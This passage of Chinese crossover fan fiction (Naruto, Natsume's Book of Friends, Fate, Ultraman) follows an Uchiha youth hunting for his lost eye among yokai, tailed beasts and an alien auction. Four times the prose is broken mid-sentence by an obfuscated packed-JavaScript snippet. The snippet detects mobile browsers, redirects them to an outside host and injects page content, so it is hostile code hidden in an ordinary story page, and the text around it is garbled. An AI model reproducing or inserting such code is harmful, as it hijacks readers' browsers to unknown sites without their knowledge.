“细胞活跃度这么高吗?如果我是普通人,医生大概会判断我是癌症晚期,快寄了……” 一树苦中作乐的想到。他继承了先祖千手柱间的特殊血继限界“木遁”,因此整个身体的细胞结构都和普通人有所不同,不过因为家族中出过千手扉间这个研究狂人,就差把柱间父子解剖来研究了,是以拥有这个血统的后人都对自己的身体状况一清二楚,即便看到机器上报出的令人心惊胆战的恐怖数字,也不会为此感觉手足无措。 但是,这个活跃程度,即使是对比一树平日里给自己做的体检记录,也未免高得有点太吓人了。 “是有人盯上了我的木遁细胞吗?即使伤口愈合得再快,挖出眼睛以后,也难免会流血……”这样想着,一树摸了摸自己空荡荡的眼眶。虽然他不觉得有人能用武力夺走他的眼睛和血肉,更倾向于是自己主动送出,但若是对方有哪怕一丝的坏心—— “哎……不然,还是把责任推到带土大人身上吧!反正他有前科。作为他可爱的后辈,向他看齐,把眼睛送人,又有什么好奇怪的。”想到这里,一树用力握紧了拳头。 至于污蔑英灵座上的先祖会带来什么后果……他现在可没空想那么多! 将实验后的头发尽数焚毁,一树瘫坐在沙发上,把那颗不明来历的玻璃珠夹在手指间把玩着。薄荷绿的圆球闪烁着微光,引来阵阵微风。片刻后,他在玻璃珠上打下数个魔法阵,将其改造成一枚有基础探查功能的魔眼,随后把它重新塞回了自己的眼眶之中。 “但愿风能把我的眼睛带回我身边……”他苦笑着说道,整个人在沙发上躺了下来。然而,这样忧郁的情绪只持续了一刻,一树就听到了屋外传来了数道呼唤的声音。 “……除妖人……除妖人……!” “他就在这儿,一定是因为畏惧六花大人,才不敢出来……” “哈?”本来心情就坏得一塌糊涂,偏偏还有人上门来找茬,虽然知道他们绝无可能越过别墅外面的结界闯进来,一树还是蹭的站起身,踩着拖鞋,直接飞雷神去了庭院的大门。 “你们在吵什么?”他突然出现,把门口吵吵闹闹的几个猿面妖怪吓了一跳,但很快,它们就朝他靠拢过来,高大的身影投下漆黑的影子,将一树拢在了其中。“我们的同伴在哪里?” “好奇怪的问题啊,你们的同伴在哪里,我怎么会知道呢?”一树挑了挑眉。其中一个猿面妖怪上前一步,朝他吼道:“就是你,还有那个拿着友人帐的人类的孩子!我们的同伴就是因为去找他,才会失踪不见的!” “哈?你们又去找夏目的麻烦了啊。”一树有点头痛,昨天才被他用写轮眼制裁过,今天就又不信邪的上门找茬,这群没有智商的家伙真是天不怕地不怕,但也因此意外的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814462|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难缠啊…… “不过,夏目不可能抓你们的同伴的啦,一定是有什么误会吧。”即便刚认识一天,但在彼此对视的时候,一树就能看出来,对方是多么温柔腼腆的人,连带着作为他的保镖的招财猫,也不像是会突然变得凶残的样子。 反而是这些苹果核,从一开始就很不讲道理呢! 果不其然,他话音刚落,猿面妖怪就朝他嚷嚷道:“是你,一定是你,夏目一定是和你这个除妖人合谋,抓走了我们的同伴!” “把我们的同伴还给我们!” “对,对,把我们的同伴交出来!再把友人帐交给我们!” “……吵死了。” 心情本来就很糟糕的一树,又被耳边嗡嗡作响的声音吵得一阵咬牙切齿,快刀斩乱麻的说道:“好啦!你们的首领,那个六花在哪里?我看,跟你们完全说不通道理,还是跟他谈谈好了。” 他全然是出于一片好心,想要从源头解决这件事,谁知道猿面妖怪们听到这里,却猛然抬起手里的长|枪,直直指向了他。 “你想要借此刺杀首领、刺杀六花大人么!” “该死的除妖人,我们绝不会让你靠近首领的!” “……算了。” 一树用一只手抚着额头,完好的右眼转出了永恒万花筒的纹路。 “闭上嘴,直接给我带路,懂吗?” * 猿面妖怪们住在东方的一处深深的森林里,一树跟着他们走进森林的时候,不仅见到了许许多多挂着符咒的封印绳索,还遇到了来寻找夏目贵志的两只妖怪三筱和丙。 “原来如此,夏目和他的猫也失踪了啊。”得知它们的来意,一树忍不住有些担心。“这些苹果核说它们的首领还在沉睡,他们也没有抓走夏目,该不会是因为那只猫咪,被误会和妖怪勾结,结果被人类关起来了吧。” 毕竟比起妖怪,内斗这种事,人类才是最在行的啦! “唔,虽然吾之主人的安危令人忧心,但吾也真没想到,这里来了你这样一位灵力强大的人类啊……” 三筱这样说着,俯下身,将巨大的马头凑近了一树。面对着妖怪能一口吞下自己的巨大头颅,一树倒没什么恐惧的反应,只是简单同它和丙介绍了一下自己的身份,而乍然听到他的姓氏,两个妖怪都不约而同的流露出恍然大悟的神色来。 “宇智波么?原来如此,你是那一族的后人啊……” “这里很少有人能看到我们的存在,之前只有夏目能做到,所以他总是显得很寂寞……如今有你作伴,夏目一定会展露笑容的吧。” “他经常遇到这种被妖怪骚扰的麻烦吗?对待要伤害他的人,太温柔可不是好事哦。”一树关心了一下学弟的过往,然而没等三筱回答,他的神色忽然一滞,随即抬起头,望向了被树荫遮蔽的山道。 三筱:“嗯?” 虽然从气息已经能感觉到他的强大,但他这样敏锐,甚至比自己还更早察觉山下的动静,已经远胜过大部分妖怪了。 ……他真的只是如他所说,单纯是转学过来读书的吗? “苹果核的敌人们来了。”一树不知道它心里的想法,只是开口提醒了一句。“唔,说不定他们才是抓走它们同伴的人,那就让我见见他们的领头人,问问夏目是不是也在他们手里吧!” 5. 第五章 袭上东方之森的,是一群穿着白色和服,漆黑的肢体能随意伸长扭曲的式神。带领他们的,则是一个头发灰白的老妇人,她镇定自若的走在式神当中,平静的看着猿面妖怪被式神击倒,束缚……直到一树从树顶一跃而下,砸在了她的面前。 “人类?”七濑有一瞬间的惊讶,难道有同僚也看上了这里的妖怪,要和的场家抢夺?她下意识的捏住符咒,却在对上一树猩红的右眼时,握着符咒的手一下子松了开来。 写轮眼?他是宇智波的族人! 面对这个站在木叶顶端的古老家族,即使是除妖师世家的的场一族也不敢轻易摄其锋芒。虽然对方只有一只写轮眼,可能并非是宇智波一族主支的族人,但七濑不知道这里是不是还有他们家的其他人在,是以她只是稍作犹豫,就放松双手,并喝止了试图攻击一树的式神们。 “停下!” “哦呀,本来还以为要打一架才能好好说话呢。”一树有些诧异,但既然对方没有动手的打算,他也跟着垂下了手,示意自己没有找茬的打算。“那就长话短说吧,夏目在你们手里吗?” “……他正在会长那里做客。”七濑谨慎的回答道,并没有多问一树和夏目的关系。“如果你只是想见他,可以和我们一同回去,但这里的抓捕行动……你能不干涉我们吗?” “这个嘛,虽然我主要是为了夏目来的,和那些妖怪没有关系啦,但还是多问一句吧,为什么你们会长要抓它们的首领呢?是他们做下了什么恶事,惹怒了你们会长吗?”一树歪着头问道。 他虽然站在对手那边,但话里话外的意思,还是在维护人类,这让七濑暗自松了口气,这样回答道:“因为我们听说,这片森林,被它们的首领六花治理得很和平,我们会长对这么强大的妖怪很感兴趣,如果能够让它为我们所用的话——” “——哈,就因为这样,就直接杀上门来,人类果然还是一如既往的卑劣啊!” 她话音未落,一个巨大的声音如同惊雷般响在天际,霎时间狂风大作,整个东方森林里的符咒,都在这一声冷哼声中片片破碎,纷纷扬扬落了满地。 随后,一阵仿佛要撕裂大地的剧烈震动,在众人脚下骤然蔓延开来,震动撕裂大地,从中涌出了灿金色的黄沙和暗黑色的海水,它们交融在一处,将众人团团围住,惊涛骇浪似乎随时都要将人们吞没! 七濑一个踉跄,差点跌进裂开的地缝里,幸好她及时抓住了旁边的大树,稳住了身形。而当她抬起头的时候,就见一个火焰一般炽烈的庞大身影从半空中闪电般直跃而下,直奔不远处的一树而去。 然而,那出身宇智波一族的年轻人并没有因此露出恐惧的情绪,恰恰相反,他望着全速靠近的巨大妖兽,美丽的脸上绽开了一个大大的笑容。 随后,他张开双臂,欢声叫出了妖兽的名字。 “九喇嘛~!” “哦~一树,再次踏上木叶的感觉如何?”九尾大笑着回应道,长长的尾巴一把将他拦腰卷起,像扔球一样随意往天上抛了几下,又让他落到自己背上,就好像他还是昔日爱玩爱闹的幼童一样。一树咯咯笑着,在它厚厚的皮毛中滚来滚去,抱着它的脖子撒娇似的说道:“太棒了啦!我很喜欢木叶的!” “正好,守鹤和牛鬼来约我打架,我就带它们一起来看你了啦。” 说话间,另外两只尾兽也从流沙和海水中现出身形,三只身躯庞大的尾兽聚在一起,几乎遮蔽了这片树林上方的天空。守鹤打量着一树漂亮的脸蛋,忍不住说道:“九喇嘛,你没说谎,他真的长得很像面麻呢!可恶,为什么新希的孩子就没有那么像他的呢?!” “哼哼,因为梨纱很厉害,这种事,不是你想要就能有的啦!”九喇嘛洋洋得意的说道。一树爬到了它的头顶上,抓着它竖起的耳朵站起身来,朝着一尾和八尾快乐的招了招手,于是牛鬼也凑过来,瞪着漆黑的眼睛问他道:“你会唱rap吗?” “唱,跳,rap,篮球,我都会!”一树信心满满。牛鬼还要再说点什么,却被九喇嘛咧着利齿制止了:“行了,牛鬼,等会儿再说,我们先解决面前的事。” “喂,你,刚才就是你说的吧。”它低下头,对着七濑露出一个嚣张的笑容。 “现在这里最强的就是本大爷,那么,你的会长也想要我为他所用吗?!” 七濑:“……” 于是,没过一会儿功夫,一树就被九喇嘛带着,直接飞去了的场家的别院。一路上守鹤吵吵嚷嚷,很不高兴九喇嘛说它是最强的那个,两只尾兽差点在半路打起来,还是一树再三撒娇,才把它们安抚下来。 而当他们抵达别院的时候,此地的主人,的场静司已经拢着袖子,等在了庭院之中,身边站着的正是平安无事的夏目贵志、化作原形的猫咪老师,以及被他封印在容器里的猿面妖怪。一树从九喇嘛背上跳下来,首先蹦过去握住了倒霉学弟的手:“没事吧夏目?你没受伤吧?” “学长,有老师保护我,我没什么事……”没想到会在这里见到他,夏目贵志有些受宠若惊,不动声色的挣脱了他的手。一树也不勉强,转头对上眯着眼睛肆意打量他的的场静司,温和的说道:“会长你好,可以让我把夏目带走吗?太晚不回家的话,他的家里人肯定会担心的啦。” 他说这句话的时候,九尾就站在他的身后,一边用毛茸茸的尾巴扫着他的肩膀,一边用红色的竖瞳冷冷盯着面前的除妖师,就仿佛他只要敢说出拒绝的话,它立刻就会张口吃了他! 而面对这只千年前就纵横木叶、威名远扬的妖狐,的场静司的态度是—— “当然可以。”他语调温和的说道。“事实上,还要多亏了你,我才能见到这位……传说中的大妖怪呢。所以,我能知道你的名字吗?” “我么?我叫一树,宇智波一树。”一树随意回答道。“你想调查我的话,直接报上这个名字就行了,宇智波的人自然会告诉你我的来历,唔姆,不过——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814463|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “只要看到九喇嘛,你应该就已经猜到一些了吧。” 不错,只要看到九尾凝望着他的慈爱目光,谁都能猜到他的身份——他不仅是宇智波的族人,还是宇智波主支中的主支,能让九尾妖狐如此依恋爱护的,只可能是六代火影漩涡鸣人的血裔,那他在家族中的地位,就不是三言两语能说清的了。 是以的场静司没有丝毫挣扎,就目送一树跨上九尾的背,三只妖兽追逐嬉戏着升上天空,后面跟着同样背起夏目贵志的斑,载着丙的三筱和两只匆匆赶来的中级妖怪。大妖们的妖力遮天蔽月,走出老远,还能听到它们肆无忌惮的欢笑声被夜风席卷而来,的场静司出神的望着火红的狐尾消失的方向,好半晌,才轻轻叹了口气。 “真是同人不同命啊。”七濑走到他的身边,也朝着无星无月的漆黑天幕眺望了过去,她沉声说道:“九尾已有数十年没有在人前露面的记录了,真没想到它会如此珍爱一个人类,不惜主动现身。它的强大果然并非虚名,光是站在它的面前,都让我恐惧得说不出话来,想来就算是我们所有的式神一同出击,也扛不住它挥出的一爪。但那位宇智波家的小少爷要它做什么事,恐怕只要同它撒撒娇,就能实现吧。” “它如今这样光明正大的出现在人前,肆无忌惮的卖弄力量,恐怕会让那些不安分的妖怪更加骚动,惹出更多麻烦事来……会长,你要告知宇智波一族,让他们来约束它吗?” “呵呵,准备一下吧。”的场静司转头看了她一眼,答非所问的说道:“只怕宇智波一族的使者,马上就要来见我们了。” 他们俩的想法,一树当然是满不在乎的啦,他又一次把夏目贵志送回了家,再次劝说他学着依赖别人,不管是使唤埋怨他不肯呼唤自己的三筱也好,还是拜托刚刚认识不久的自己也罢,人与人(妖)之间的感情,岂不是就在这一来一去的交往之中越来越深嘛! “因为一年以后我从高中毕业,大约就要去美国上大学啦。”他坦然说道。“抱歉,虽然在刚认识的时候就说这种要分别的话,好像有些失礼,但我想说的是,正是因为时间短暂,才要好好珍惜啊,创造很多快乐的回忆,日后回想起来,也不会为此感觉后悔。” 他……是在暗示人类对比妖怪短暂的生命吗?夏目贵志心想。不过,当他看到一树揪着守鹤的尾巴想要爬上它的背,却被背过身去的九尾一尾巴卷到自己身上的时候,还是忍不住笑了出来。 “下周一见哦!”在被九尾带上天的时候,一树还在同他挥手作别。夏目贵志也跟着抬起手,在他们离开以后,他俯下身,把地上团成一团的招财猫抱了起来。 “老师,我们回家了哦。” 也许将来,他的孩子就不会遭遇他过去遭遇的一切了吧,因为他遇到了很多很好的人,而且……或许将来,也会有别的什么在暗处守护着他。 这样想着,夏目贵志走进家门,对着欣喜迎上来的藤原夫妇露出了微笑:“我回来了。” 6. 第六章 返回一树暂住的别墅以后,九喇嘛落地以后做的第一件事,就是把一树从自己身上抓下来,按着他的脸看他的眼睛。 “果然,之前就觉得有点不对劲了……你的左眼呢小鬼?干嘛在自己眼眶里放个玻璃珠啊?” “唔唔,这种事……当然是事出有因的啦!”一树一边满头冷汗的挣扎,一边眼珠直转的想借口。“带土、带土大人以前也干过这种事嘛,九喇嘛一定能理解的,对不对?” “哈?那个情圣是挖给他男人的,说到底最后还不是在带土手里,紧急关头他还能跟卡卡西一起开须佐呢。”这么说着,九喇嘛使劲揉了两把他的脸蛋。 “你的眼睛呢?他还只是永恒万花筒,没开到轮回眼,还罪不至死,你把轮回眼送给别人,回去萤肯定要打你屁股的!” “呜……”大惊失色的一树迅速挤出了两滴眼泪。 “救救我!九喇嘛大人!其实……我也不知道那只眼睛去哪儿了啦!” “……啊?” 此言一出,守鹤和牛鬼也兴致盎然的凑过来,争先恐后的询问一树:“真的吗?你的眼睛是被人挖走的?” “你们宇智波居然也会有今天啊!哈哈哈哈哈!” “不过只要找回来安进去就好了吧?最早的时候,他们家不是还有换亲人眼睛的传统吗?感觉只要是写轮眼,用谁的都一样。” “那不正好,木叶还有很多有写轮眼的宇智波啊,要我们去给你挖一只回来吗?” “不要啦!怎么可以随便挖别人的眼睛!”眼看它们越说越离谱,一树赶紧打断了它们恐怖的发言。他抱着九喇嘛的一只前爪,撒娇的跟它说道:“我肯定能把那只眼睛找回来的啦,只不过可能要花点时间……所以说,九喇嘛,你可不可以不跟萤大人告状的说?” 这么说着,他眨巴眨巴水汪汪的大眼睛,做出可怜的表情来。九尾倒是很想答应他,但它还是忍住了对小朋友的溺爱,一本正经的说道:“可是一树,你只要三天不给萤打水镜过去,他就会察觉不对,然后直接冲来木叶找你了吧。” 一树:“……” 可恶,有什么能骗过萤大人的魔术啊,急,在线等! 但不管怎么说,能见到两个月以前就从伦敦启程去木叶度假,因而有段时间没见到狐影的九尾,一树还是高兴得不得了,果断邀请三只尾兽和自己一起打开电视看木叶秘史(九喇嘛:为什么这部电视剧还在重播啊!你们这群低俗的人类!放了那么多年还没厌倦吗?!),睡觉的时候,他也像小时候一样,紧紧抱着九喇嘛的尾巴不肯放,就这么沉入甜甜的梦乡之中。 ——然后,他做了梦。 睁开眼睛,映入眼帘的是一只等人高的,戴着宽边大檐帽和独眼眼罩的黑马玩偶,身上有着清晰的缝线,另一只眼睛则是一只巨大的钮扣。一树吓了一跳,挣扎了一下,却发现自己的手脚都被绳子绑在了椅子上,不由花容失色的大叫起来:“你干嘛,哎哟~” “嘿嘿,小鬼,你叫啊,你就算叫破喉咙,我也不会放过你的啦!”海盗马的那只钮扣眼睛红光一闪,一树再张开嘴的时候,就感觉有什么香香甜甜的东西被塞进了他的嘴里,他闭上嘴嚼了嚼,随后愉快的眯起了眼睛:好甜的红豆糕啊! “带土,一树,你们非要表现那么夸张吗……”一个声音弱弱的在一树背后响了起来,一树回头一看,就看见一个闪闪发光的稻草人站在他身后,“头发”被漆成闪亮的银白,手里还提着一把短刀,不由努力把红豆糕咽了下去,惊喜的叫道:“哇,是杀人狂稻草人卡卡西大人!这个造型好西部风情哦!” “嗯?这是见到杀人狂的反应吗?尤其你还被绑着哦,一树。”海盗马带土警觉的说道。一树“哦”了一句,又切回了恐惧的表情,再次挣扎着叫道:“破喉咙!破喉咙!” 卡卡西:“……”行吧,他们两个幼稚鬼高兴就好。 “桀桀桀,一树,你是个坏孩子,我今天就是要代表月亮惩罚你!”带土用圆滚滚的玩偶的手,在一树身上挠来挠去,害得一树咯咯直笑,还要维持恐惧的神情,因而憋得脸蛋发红,浑身颤抖。“你是不是把家族最重要的宝贝弄丢了,还试图把责任扔给你可怜的先祖带土?你这个小骗子,有考虑你的带土大人会多么心碎吗?他连红豆糕都吃不下去了!” “呜哇,对不起……不过如果萤大人相信了我的话的话,说不定我就不会挨揍了啊!”一树理所当然的说道。“只要我没事,带土大人的声誉这种本来就不存在的东西,献祭就献祭了吧!” “哇哦,说出了很不要脸的话呢,看来,你真是长大了啊,一树。”卡卡西赞赏的看了后辈一眼。 “什么嘛,笨卡卡,受伤的可是我啊,不准你支持他啦!”带土不高兴的说道,一边从海盗帽子里抽出一个纸扇,啪啪打起了一树的头。“你这个小坏蛋!毫无羞耻之心!居然都不觉得你该弥补我吗?!” “补偿……什么啊?”一树眼泪汪汪的问他,一边在心里暗暗吐槽:带土大人想要什么,直接跟他说不就好了,干嘛要把他绑起来啦!算了,两位先祖还是那么爱cosplay呢。 “嗯……”总算听到了自己想听的话,带土用玩偶圆滚滚的手摸了摸下巴,对他说道:“我能感觉到,有人又在启动大圣杯了哦。” “诶——”一树露出惊讶的表情来。“萤大人不是说,那个大圣杯要六十年才能启动一次吗?距离上一次圣杯战争结束,连十年都还没到呢!” “因为上次圣杯的魔力根本没用吧,小薰许的那个搞笑的愿望真的会消耗魔力吗?而且最后不仅一颗糖都没吃到,还连带着她的卧室也被黑泥污染得不能用了。”带土吐槽道。“甚至你的令咒都只用了一道!圣杯都要为你的贴心而流泪呢!这下好了吧,不到十年时间,人类又要为了实现自己的欲望而互相撕杀起来了呢。” “额……所以,带土大人希望我阻止这次圣杯战争吗?”一树歪着头猜测道。 “那当然不是了。”海盗马和稻草人对视了一眼,毫不犹豫的反驳道:“我们只是觉得圣杯战争还挺好玩的,让你赶紧去占个参与者的位置,到时候好把我们召唤出来玩而已。” 一树:“……” 一树震惊了:“这是当火影的人该说的话吗?你的子民又要为了抢那个杯子互相厮杀了也!” “第一,我卸任火影已经几百年了,第二,人类本来就是这种喜欢互相厮杀的生物啊,有没有那个杯子都一样,少把责任推在没有意识的圣杯头上,第三,会参与这种争斗的魔术师,死了才是好事,让满心欲望的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814464|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们继续活下去,才是会让无辜的子民受伤呢。” “总而言之,我先预定你的英灵位置了啊,回去赶紧把我的圣遗物找出来,那我就不跟萤托梦说你把左眼弄丢的事了!”带土洋洋得意的说道,换来的却是一树气鼓鼓的瞪了他一眼。 “你提醒我了,带土大人,你们一直在英灵座上注视着我,不是应该知道我的眼睛在哪里吗,怎么还不告诉我,我必须尽快把它找回来啦!” “我知道的话那当然没问题,问题是我不知道啊。还有,说什么一直注视着你呢,你以前是那么自恋的小孩吗?我们当然只是偶尔看看而已啦!”带土撇了撇嘴。 “好啦,别这样逗他啦。”还是卡卡西看不过去,温声告诉一树:“你这次穿越的地方有点奇怪,整个世界似乎被一片虚假的幕布包围着,阻断了我们的视线,所以抱歉啦,一树,我们也不知道你的眼睛现在在什么地方,但只要你平安无事的回来,相信萤也不会过多的苛责你的。” 毕竟比起他的性命,即便是轮回眼,也是多么不值一提的东西啊。他所处的这个时代,原本也并不要求他必须拥有完好无损的一双写轮眼啊。 “咦?幕布?那是个楚门的世界吗……?”一树心领神会,但也更加郁闷了。“可是,不知道为什么,我完全没有穿越的记忆,真的一点点也没有哦!这样子的话,就没法通过宇宙坐标再去那个世界了啦!” “也许让你失忆的目的,就是为了让你这个外来者不再踏足那个世界吧。”带土勉强正经了一会儿,随后又不正经的调笑道:“不过你一向是个命运不按套路出牌的小家伙,谁知道未来的事会怎么样呢?要我来说,我感觉事情不会这么简单结束的!” “哎,好吧,借你吉言了带土大人。”一树叹了口气。“不过参加圣杯战争并且召唤你们什么的,还是饶了我吧!再来一次,爱因兹贝伦家只怕会不惜赌上家族的命运来杀我了。” 他也不想看到有人在他和英灵们的手下丧命啊! “说得好像他们赌上全族的命运就能杀了你一样,有什么好怕的啦!”尽管带土这样肯定了一树的强大实力,但因为一树死活不肯答应,任凭他怎么游说也不肯松口,他最终一脚把一树踢出了梦境,气呼呼的说道:“可恶,他为什么不能永远停留在十二岁呢!” 那个时候的一树,他说啥就是啥,简直不要太听话了呢!不像现在的他,那犟种的样子,再加上他那张越来越漂亮的小脸,总让自己有些幻视宇智波泉奈。 卡卡西:“好了,不要为了一己私欲指责可爱的孩子哦带土。等等……一树又到哪里去的了?” 另一边,一树头痛欲裂的坐起身来,刚哼哼唧唧的想找九喇嘛撒撒娇,就发现他身下躺着的不是他的的床,而是一张华丽柔软的沙发,他所处的房间当然也并不是他的卧室,而是一个纯白色的小小方格,在沙发的对面,是一整面透明玻璃,从中看出去,可以看到一座漂浮在半空中的圆形平台,上面站着一个如同漆黑的猿猴一般古怪的外星人,有着蓝色的眼睛和弯曲翘起的耳朵,在他嘴部的位置,长着一个黄色的发光器官,正随着他的话语而不断闪烁着。 “诸位,欢迎大家光临宇宙拍卖会!——” 一树:“……” 不是吧,又来?! 7. 第七章 一树很蛋疼。 虽然因为他这倒霉的体质,他过去也没少穿越到和自己的世界完全不同的世界,但直接穿越到宇宙里,还是让他感觉有些微妙:说起来,他们家的血统追溯根源,好像也是宇宙人吧,呵呵…… 但是!等他从这间房间里出去,他要怎么跟外面那群外星人解释自己的身份啊啊啊啊! ——正当他抱着头无声呐喊的时候,方格一侧的墙上突然滑开了一道同色的小门。几乎是门扉移动的同时,一树光速滚下沙发,躲在了沙发扶手背后,小心翼翼的探出头,就见一个一身霜色白衣、酷似人类、只是头上长着角的外星人飘在半空中进了房间。 一树:“……” 他、他的眼睛……根本就是轮回眼啊!图案完全一样,只是颜色有所不同,自己的是淡紫色,他的是淡蓝色…… 他不会是大筒木一族的人吧?! 虽然自卯之女神辉夜姬被其子六道仙人兄弟封印在月亮上以来,大筒木一族就没有再踏足过地球了,但根据那些古老书籍的记载,她是因为服下神树的果实,被强大的力量所迷惑,想要灭绝人类,才会引发两个儿子的反抗。作为非人的个体,他们似乎并不把人类视为自己的同类……一树这样想着,迅速打开了自己的轮回眼,并火速进入了仙人模式。 面对真正使用轮回眼的专家,他不敢赌自己和对方的力量差距,最好全力以赴,一击必杀,将其困住才好! 另一边,走进房间的大筒木族人,显然没有想到有人正屏着呼吸,等在沙发后面埋伏他。他的手里提着一个白色的袋子,坐下之后,就从中掏出一个绿色的果实状的圆球把玩起来。一树察觉到充沛的查克拉从那个圆球上逸散出来,不由咬了咬牙,思忖道:难道,那就是传说中迷惑了辉夜姬的,蕴含着强大力量的神树的果实? 那他岂不是能靠着吃下果实获得更强的魔力! 不能再等了!他下定了决心,猛地从沙发后面扑过去,把人仰面按倒在地上,同时发动了仙术:“明神门!” 五根朱红的鸟居从天而降,如同刑枷一般扣住了大筒木的脖子和四肢,他瞪大的眼瞳往上一看,对上另一只淡紫色的轮回眼,因而立刻陷入了一树的幻术之中。随后,层层叠叠的树藤从地板下生长出来,将他连着鸟居裹成了一个巨大的树茧,借着和他的接触,开始吸收起他体内的查克拉。 一树眼看着他白得惊人的面容消失在树藤之中,这才松了口气,伸手捡起了对方掉在地上的布袋和散了一地的果实。 一个,两个,三个……一共有十个。 接下来该怎么办?一树可不敢保证自己能困住他多久,但他转念一想,脑中灵光一闪,伸手用力锤了锤自己的手心:他可以用变身术假扮成这个外星人,就这么离开这个拍卖会啊!假扮的身份是客人的话,外面自然会有服务生为他引路吧! 我真是个天才啊。一树有些飘飘然的挺起胸膛,把果实装进口袋里,正要开溜,房间外面却爆发出一阵热闹的欢呼声。他好奇的停下脚步,往玻璃外望去,就见拍卖会正中的平台上,负责主持的美菲拉斯星人让人把一个巨大的、不知道什么外星怪兽的蛋抬了下去,随后,他招了招手,另一个外星人立刻托着一个扣着透明的玻璃罩子的托盘,放在他的手心里。 那个托盘上,正端坐着一个面容美丽的少年,他头戴深紫色被衣,身穿白色童子水干服及浅紫色单衣,看起来简直像是女儿节庆典上摆放的华美人偶——和之前一树身上莫名出现、被他留在书房里的人偶一模一样!美菲拉斯星人托着他,向四周展示了一圈,语调优美的说起了这样商品的优点:这就是一尊人偶,不老不死,拥有智慧,可以调用元素力,也可以操纵各种智械。当然,即使他没有这些功能,仅仅用作收藏,冲着他美丽的脸,也是很极好的。 但在房间里,一树瞪圆了眼睛,心脏咚咚直跳,整个人几乎贴在玻璃上——他倒不是突然童心大发,想要得到这个等人高的人偶,而是人偶平静的双眼中的那只蔚蓝色的左眼,分明就是他的写轮眼啊! 居然这么好运,一次就穿对了地方,这下倒是不用担心回去会挨萤大人的骂了。一树兴高采烈的想到,在房间里左右找了找,果然在沙发旁边找到了竞拍用的电子屏,他想了想,从布袋里掏出一个果实放在电子屏下面的抽屉里,又怕不够用,因此又塞了一个进去,这才有点忐忑的合上了抽屉。 “哇,真是大手笔!”美菲拉斯星人立刻收到了消息,朝着一树所在的房间抬起了手臂:“看来我们013号客人对这尊人偶是势在必得啊!他出价两颗星球能源,真是千金搏美人一笑,在场还有人愿意给出更高的价格吗?” 这个价格显然已经高得让人非议,因为各个房间都传出了窃窃私语的声音。一树却没心情关注他们的反应,他心急如焚,坐立难安,眼巴巴看着美菲拉斯星人敲响拍卖锤,将人偶拍给了他,随后,高大的外星人将托盘递给身边工作人员,继续吆喝起了下一样商品。 拍卖会的工作人员端着托盘来到这间小小的贵宾室的时候,先礼貌的敲了敲门,随后看着那扇门扉向着一侧滑开——然而随后露出的,却不是房间纯白的墙壁,而是无数扭曲、蜿蜒的藤蔓。它们层层叠叠的爬满了整个房间,肆意伸展着翠绿的枝叶,随后一只雪白的手从藤蔓中伸了出来,伴随着他的动作,藤蔓迅速向后退开,露出了门口的一小片空地。 面对这样诡异的景象,工作人员不敢多看,连忙把玻璃罩子拿开,让人偶自己走进屋子。他心里暗自嘀咕,这个大筒木星人真是奇奇怪怪,难道是没脸见人吗?不过对方出手如此阔绰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814465|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,拍卖会卖得越多,自家主人的心情也就愈好,也就不会为难他们这些小喽啰,因此昂首挺胸的返回后台去了。 房间里,人偶打量着面前的藤蔓,蓝紫色的眼睛里划过一抹怀念的情愫,随后,藤蔓中的那只手就一把握住他的手臂,用力把他拉进了一片生机盎然的碧绿之中。 哇,近看这张脸,真是非常美丽呢!让藤蔓再次封住房门,一树本来打算狠狠质问对方,到底是怎么拿到的自己的眼睛,但此时面对着面,近距离对上人偶那张和真人无异的脸庞,他原本想说的话却都憋在了喉咙里,踌躇片刻之后,反而是对方先开了口。 “寒暄就免了吧,你没话找话的样子未免也太可笑了。我本来还以为,再次相见,你会扑上来抱着我哭呢,怎么,因为这里不是提瓦特大陆,所以你突然变得要脸了?”人偶这样说道,反手抓住他的手,把他按坐在了沙发上。 